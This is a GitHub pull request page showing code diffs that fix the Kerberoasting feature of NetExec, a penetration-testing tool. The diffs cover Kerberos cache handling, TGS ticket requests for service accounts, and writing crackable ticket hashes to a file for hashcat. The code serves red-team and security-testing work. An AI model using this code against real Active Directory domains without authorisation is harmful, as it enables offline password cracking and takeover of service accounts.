Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Kerberoasting for #104 #111

Merged
merged 5 commits into from
Nov 9, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
78 changes: 43 additions & 35 deletions nxc/protocols/ldap.py
Original file line number Diff line number Diff line change
Expand Up @@ -910,6 +910,9 @@ def kerberoasting(self):
"lastLogon",
]
resp = self.search(searchFilter, attributes, 0)
self.logger.debug(f"Search Filter: {searchFilter}")
self.logger.debug(f"Attributes: {attributes}")
self.logger.debug(f"Response: {resp}")
if not resp:
self.logger.highlight("No entries found!")
elif resp:
Expand Down Expand Up @@ -956,41 +959,46 @@ def kerberoasting(self):

if len(answers) > 0:
self.logger.display(f"Total of records returned {len(answers):d}")
TGT = KerberosAttacks(self).get_tgt_kerberoasting()
dejavue = []
for (_SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, _delegation) in answers:
if sAMAccountName not in dejavue:
downLevelLogonName = self.targetDomain + "\\" + sAMAccountName

try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
principalName,
self.domain,
self.kdcHost,
TGT["KDC_REP"],
TGT["cipher"],
TGT["session_key"],
)
r = KerberosAttacks(self).output_tgs(
tgs,
oldSessionKey,
sessionKey,
sAMAccountName,
self.targetDomain + "/" + sAMAccountName,
)
self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}")
self.logger.highlight(f"{r}")
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
hash_kerberoasting.write(r + "\n")
dejavue.append(sAMAccountName)
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
nxc_logger.error(f"Principal: {downLevelLogonName} - {e}")
return True
TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache)
self.logger.debug(f"TGT: {TGT}")
if TGT:
dejavue = []
for (_SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, _delegation) in answers:
if sAMAccountName not in dejavue:
downLevelLogonName = self.targetDomain + "\\" + sAMAccountName

try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
principalName,
self.domain,
self.kdcHost,
TGT["KDC_REP"],
TGT["cipher"],
TGT["sessionKey"],
)
r = KerberosAttacks(self).output_tgs(
tgs,
oldSessionKey,
sessionKey,
sAMAccountName,
self.targetDomain + "/" + sAMAccountName,
)
self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}")
self.logger.highlight(f"{r}")
if self.args.kerberoasting:
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
hash_kerberoasting.write(r + "\n")
dejavue.append(sAMAccountName)
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.fail(f"Principal: {downLevelLogonName} - {e}")
return True
else:
self.logger.fail(f"Error retrieving TGT for {self.username}\\{self.domain} from {self.kdcHost}")
else:
self.logger.highlight("No entries found!")
self.logger.fail("Error with the LDAP account used")
Expand Down
54 changes: 32 additions & 22 deletions nxc/protocols/ldap/kerberos.py
Original file line number Diff line number Diff line change
Expand Up @@ -103,22 +103,27 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None):

return entry

def get_tgt_kerberoasting(self):
try:
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
# retrieve user and domain information from CCache file if needed
domain = ccache.principal.realm["data"] if self.domain == "" else self.domain
nxc_logger.debug(f"Using Kerberos Cache: {getenv('KRB5CCNAME')}")
principal = f"krbtgt/{domain.upper()}@{domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
nxc_logger.debug("Using TGT from cache")
return tgt
def get_tgt_kerberoasting(self, kcache=None):
if kcache:
if getenv("KRB5CCNAME"):
nxc_logger.debug("KRB5CCNAME environment variable exists, attempting to use that...")
try:
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
# retrieve user and domain information from CCache file if needed
domain = ccache.principal.realm["data"] if self.domain == "" else self.domain
nxc_logger.debug(f"Using Kerberos Cache: {getenv('KRB5CCNAME')}")
principal = f"krbtgt/{domain.upper()}@{domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
nxc_logger.debug("Using TGT from cache")
return tgt
else:
nxc_logger.debug("No valid credentials found in cache")
except Exception:
pass
else:
nxc_logger.debug("No valid credentials found in cache. ")
except Exception:
pass
nxc_logger.fail("KRB5CCNAME environment variable not found, unable to use Kerberos Cache")

# No TGT in cache, request it
user_name = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
Expand All @@ -138,6 +143,12 @@ def get_tgt_kerberoasting(self):
self.aesKey,
kdcHost=self.kdcHost,
)
except OSError as e:
if e.errno == 113:
nxc_logger.fail(f"Unable to resolve KDC hostname: {e!s}")
else:
nxc_logger.fail(f"Some other OSError occured: {e!s}")
return None
except Exception as e:
nxc_logger.debug(f"TGT: {e!s}")
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
Expand All @@ -149,7 +160,6 @@ def get_tgt_kerberoasting(self):
self.aesKey,
kdcHost=self.kdcHost,
)

else:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
user_name,
Expand All @@ -160,12 +170,12 @@ def get_tgt_kerberoasting(self):
self.aesKey,
kdcHost=self.kdcHost,
)
tgt = {}
tgt["KDC_REP"] = tgt
tgt["cipher"] = cipher
tgt["session_key"] = sessionKey

return tgt
tgt_data = {}
tgt_data["KDC_REP"] = tgt
tgt_data["cipher"] = cipher
tgt_data["sessionKey"] = sessionKey
nxc_logger.debug(f"Final TGT: {tgt_data}")
return tgt_data

def get_tgt_asroast(self, userName, requestPAC=True):
client_name = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
Expand Down
4 changes: 2 additions & 2 deletions nxc/protocols/ldap/proto_args.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,8 +13,8 @@ def proto_args(parser, std_parser, module_parser):
no_smb_arg.make_required = [domain_arg]

egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat")
egroup.add_argument("--kerberoasting", help="Get TGS ticket ready to crack with hashcat")
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")

vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
Expand Down